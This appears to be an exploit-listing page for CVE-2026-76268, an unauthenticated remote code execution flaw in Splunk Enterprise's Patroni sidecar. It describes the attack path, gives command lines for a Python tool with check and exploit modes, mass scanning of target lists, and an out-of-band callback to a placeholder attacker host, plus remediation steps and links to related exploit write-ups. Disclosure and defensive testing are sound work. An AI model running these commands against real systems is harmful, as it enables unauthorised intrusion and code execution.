CVE-2026-76268 — Splunk Enterprise SHC Patroni REST Unauthenticated RCE (archive_command)
October 13, 2026 · 57 views
Splunk Enterprise 10.2.0–10.2.6 and 10.4.0–10.4.2 on SHC members: PostgreSQL sidecar Patroni REST (typ. :8008) accepts unauth PATCH /config + POST /restart → archive_command OS exec (CWE-306). SVD-2026-1001. CVSS 3.1 9.8 Critical. Fixed 10.2.7 / 10.4.3. Python PoC: check/exploit, OOB POCBIT-76268-OK.
Description
Overview
CVE-2026-76268 — Splunk Enterprise search head cluster (SHC) members — unauthenticated remote code execution via the Patroni REST API on the PostgreSQL sidecar (CWE-306). Advisory SVD-2026-1001.
| | |
|---|---|
| Affected | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Not affected (this CVE) | 10.0.x, 9.4.x |
| Fix | 10.2.7, 10.4.3 (and later) |
| CVSS 3.1 | 9.8 Critical |
| Verify marker | POCBIT-76268-OK (OOB or /tmp/POCBIT-76268-OK) |
Attacker with network access to Patroni (often 8008, or IPC Broker–assigned port) can PATCH /config (e.g. archive_command, archive_mode) and POST /restart to run OS commands as the sidecar/PostgreSQL user. This PoC targets Patroni directly — not Splunk Web (8000) or splunkd (8089).
Preconditions: SHC member, [postgres] sidecar enabled, Patroni port reachable.
PoC page: https://pocbit.org/pocs/cve-2026-76268
GitHub: murrez/CVE-2026-76268
CVE.org: CVE-2026-76268
Advisory: SVD-2026-1001
Bundled tool (Python 3)
Download cve-2026-76268.py — writes poc.py, requirements.txt, targets.example.txt.
python cve-2026-76268.py
pip install -r requirements.txt
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Check: scans --ports (default 8008,8009,8010,18008), unauthenticated PATCH /config. Exploit: sets archive_command, POST /restart, wait --wait-archive seconds.
Target formats: host, host:port, http://host:port; list file lines same ( # comments ignored).
Discovery hints (your assets only)
port="8008"
Validate GET /patroni JSON (role, state). On server: splunk btool server list ipc_broker --debug.
Remediation
- Upgrade to 10.4.3+ or 10.2.7+.
- If sidecar unused:
[postgres] disabled = trueinserver.conf, restart Splunk. - Firewall Patroni and etcd (2379/2380) to SHC peer IPs only.
Legal and ethical use
Authorized security testing only. Exploit mode modifies live sidecar configuration.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- Web appCVE-2026-85520critical
CVE-2026-85520 — PrestaShop gmfeed (MyPresta) Unauthenticated Arbitrary File Write → RCE
Google Merchant Center Feed (gmfeed) for PrestaShop ≤2.3.9: unauthenticated arbitrary file write on modules/gmfeed/feed.php when Save-to-file / URL export is enabled — attacker controls filename, path, extension, and body → PHP webshell → RCE. CVSS 9.3 Critical. Fixed in 2.3.10+ (2.4.1+ recommended). Python PoC: check, aggressive probe, exploit with marker stub, mass --list -j.
- Web appCVE-2026-107806critical
CVE-2026-107806 — nginx-ui 2.3.8–2.4.x Authenticated RCE (Forged Backup Restore / TestConfigCmd)
0xJacky/nginx-ui >=2.3.8 <2.5.0: admin JWT can download backup, tamper app.ini TestConfigCmd in re-signed zip, POST /api/restore + /api/nginx/test → shell (CWE-94). CVSS 4.0 9.4 Critical PR:H. Not CVE-2026-42238. Fixed 2.5.0. Python PoC: check/exploit, batch url|JWT. Marker POCBIT-107806-OK.
- Web appCVE-2026-90817critical
CVE-2026-90817 — REDCap Unauthenticated RCE (Survey __passthru / Data Import)
Unauthenticated remote code execution in REDCap ≥ 13.3.0 via public survey __passthru routing and Data Import path handling. Patched in 16.0.49, 17.3.10, and 17.4.4+. Requires a valid public survey hash (s=) for the published check/exploit tooling.
- Web appCVE-2026-82384critical
CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC Pre-Auth Java Deserialization
Unauthenticated Java deserialization (CWE-502) on Apache Roller 6.1.5 legacy XML-RPC servlet: enabledForExtensions allows ex:serializable before Blogger/MetaWeblog auth; mapping stays active even when XML-RPC is disabled in UI. Pre-auth RCE via attacker-controlled serialized objects (ysoserial/classpath gadgets). Fixed in 6.1.6+. CVSS 9.8 Critical. Python PoC: check, probe-deser, exploit, mass -j.